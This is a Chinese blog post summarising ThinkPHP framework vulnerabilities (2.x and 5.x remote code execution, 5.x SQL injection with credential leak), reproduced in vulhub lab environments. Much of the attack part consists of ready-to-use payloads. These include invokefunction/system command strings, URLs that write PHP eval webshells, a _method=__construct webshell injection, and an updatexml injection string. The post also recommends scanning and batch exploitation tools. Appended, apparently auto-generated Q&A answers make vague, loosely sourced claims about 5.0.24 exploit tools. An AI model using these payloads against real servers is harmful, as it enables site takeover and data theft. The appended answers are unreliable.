Thinkphp常见漏洞总结

文章详细介绍了ThinkPHP框架中的几个重要版本的高危漏洞,包括2.x和5.x的任意代码执行漏洞,以及5.x的远程代码执行漏洞和SQL注入与敏感信息泄露问题。通过vulhub靶场展示了漏洞复现步骤,同时提到了利用工具TPscan和Thinkphp综合利用工具。
摘要由CSDN通过智能技术生成

基础知识

1.ThinkPHP简介:
ThinkPHP是一个开源,快速、简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

2.版本介绍:
ThinkPHP发展至今,主要有以下几个系列:
在这里插入图片描述
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。各个系列之间在代码实现及功能方面有较大区别。

3.高危漏洞列表:
在这里插入图片描述

漏洞复现

从上面的漏洞中选几个常见的,使用vulhub靶场复现一下

ThinkPHP 2.x 任意代码执行漏洞

Thinkphp 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

影响版本:
ThinkPHP 2.x,3.0 Lite模式

环境搭建:
版本:ThinkPHP 2.1

进入对应目录:

vulhub/thinkphp/2-rce

启动本环境:

docker-compose up -d

复现过程:
访问 http://192.168.50.131:8080 进入靶场
在这里插入图片描述
Poc:http://192.168.50.131:8080/index.php?s=/index/index/xxx(随便输)/${phpinfo()}

成功执行:
在这里插入图片描述

getshell:

构造payload:http://192.168.50.131:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}
在这里插入图片描述
蚁剑连接
在这里插入图片描述

Thinkphp 5.x 远程代码执行漏洞1

由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况),对传入的路由参数过滤不严格,导致攻击者可以执行任意方法,从而导致远程命令执行漏洞。其中不同版本 payload 有些不同:

5.0.x:

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行phpinfo();
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>	// 写入shell

5.1.x:

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[a]);?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

影响版本:
ThinkPHP 5.0.5 ~ 5.0.22
ThinkPHP 5.1.0 ~ 5.1.30

环境搭建:
ThinkPHP 5.0.20

对应目录:

vulhub/thinkphp/5-rce

启动本环境:

docker-compose up -d

复现过程:
在这里插入图片描述
Poc:http://192.168.50.131:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 在这里插入图片描述
getshell:

构造payload,写入shell:http://192.168.50.131:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>
成功执行:
在这里插入图片描述
蚁剑连接成功
在这里插入图片描述

Thinkphp 5.x 远程代码执行漏洞2

获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本:
ThinkPHP 5.0.0 ~ 5.0.23
ThinkPHP 5.1.0 ~ 5.1.30

环境搭建:
进入对应目录:

vulhub/thinkphp/5.0.23-rce/

启动本环境:

docker-compose up -d

复现过程:
在这里插入图片描述
Poc:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id post提交,成功执行id命令:
在这里插入图片描述
getshell:
通过echo命令写入文件:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[a]);?>' >shell.php

在这里插入图片描述
上传成功:
在这里插入图片描述
蚁剑连接:
在这里插入图片描述

ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

传入的某个参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响版本:
ThinkPHP < 5.1.23 ,该漏洞关键点是需要开启debug模式。

环境搭建:

vulhub/thinkphp/in-sqlinjection/

启动本环境:

docker-compose up -d

复现过程:
Poc:index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 在这里插入图片描述
下拉发现泄露数据库名、账号及密码:
在这里插入图片描述
然后就可以尝试远程连接。

漏洞利用工具

这里推荐两个利用工具。

TPscan

ThinkPHP漏洞检测,基于Python3,命令行检测,集成了14个常见的ThinkPHP框架漏洞检测插件。运行需要 gevent 库,可以在 https://www.lfd.uci.edu/~gohlke/pythonlibs/#greenlet 找到对应版本下载
在这里插入图片描述
我这里是python3.8的64位,下载放在python的根目录下,执行即可安装

pip install gevent-21.12.0-cp38-cp38-win_amd64.whl

项目地址:https://github.com/Lucifer1993/TPscan

运行py,输入指定的目标地址即可,检测到漏洞提示如下:
在这里插入图片描述

Thinkphp综合利用工具

Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,支持批量检测多个版本漏洞
在这里插入图片描述

  • 3
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: ThinkPHP是一款优秀的PHP开发框架,但在不久前,其官方发布的5.0.24版本中存在一处安全漏洞,可以被攻击者利用进行非法操作或流量劫持。 近期网络上出现了一些ThinkPHP5.0.24漏洞利用工具,攻击者可以利用这些工具进行恶意攻击,比如模拟用户登录、上传恶意文件、获取服务器权限等。而这些攻击都可能严重危害服务器安全,甚至导致数据泄露或丢失。 因此,使用ThinkPHP5.0.24漏洞利用工具的行为是不道德的、非法的,同时也将危及自己和他人的安全。我们应该高度关注漏洞修复的情况,并及时更新框架版本,以保障网站安全。 此外,防范漏洞利用的最好方式是对网站进行全面加固,比如使用防火墙、加强用户认证、控制权限等等。只有在加强安全方面的努力下,才能避免因漏洞被攻击,导致不必要的损失。 ### 回答2: thinkphp5.0.24是一种基于PHP的开源Web应用框架,简单易用,并且具有高度扩展性。然而,其中存在一个被恶意利用的漏洞,即命令执行漏洞,攻击者可以利用该漏洞执行任意命令。 针对这个漏洞,黑客们开发了一些利用工具。其中,比较常见的有ThinkPHP5.0/5.1 远程代码执行漏洞利用工具和thinkphp5.0.24远程代码执行漏洞利用工具。 这些利用工具的基本原理是通过漏洞点执行一段代码,然后让服务器返回含有WebShell的Payload。其中,一个比较常用的Payload是通过控制Meta信息中的User-Agent,让服务器返回一段WebShell代码。得到WebShell后,攻击者可以执行任意命令。 针对此类漏洞,建议管理员及时更新最新版本的ThinkPHP,并定期对系统进行安全扫描等操作,以及增强系统的安全性。另外,也建议加强员工安全意识教育,不要随意下载不明来源的文件或点击垃圾邮件等操作。 ### 回答3: ThinkPHP是一个使用PHP语言开发的MVC框架,它具有开源、易上手、性能强等优点,因此被广泛应用于各类Web开发中。但是,ThinkPHP也存在一些漏洞,例如ThinkPHP 5.0.24版本中,存在一种反序列化漏洞,攻击者可以通过发送一个恶意的HTTP请求来执行任意代码,造成系统安全威胁。 为了利用该漏洞,黑客们开发了一些漏洞利用工具。其中,比较有名的是一款名为“ThinkPHP5.0.24 反序列化命令执行漏洞一键”的工具,该工具可以帮助攻击者快速识别和利用漏洞,在不需要过多技术能力的情况下就能实现攻击。 具体来说,该工具可以通过一些简单的配置,如输入目标IP地址、选择漏洞扫描或直接执行命令等,来实现对已知漏洞目标的攻击,从而获取系统权限、窃取敏感信息等恶意行为。 但是,提醒广大用户,利用漏洞工具进行攻击是违法的行为,严格禁止任何个人和组织非法攻击和滥用该工具。我们应该采取更有效的方式,如及时更新补丁、加强网络安全防范等,来保障自己和他人的网络安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

306Safe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值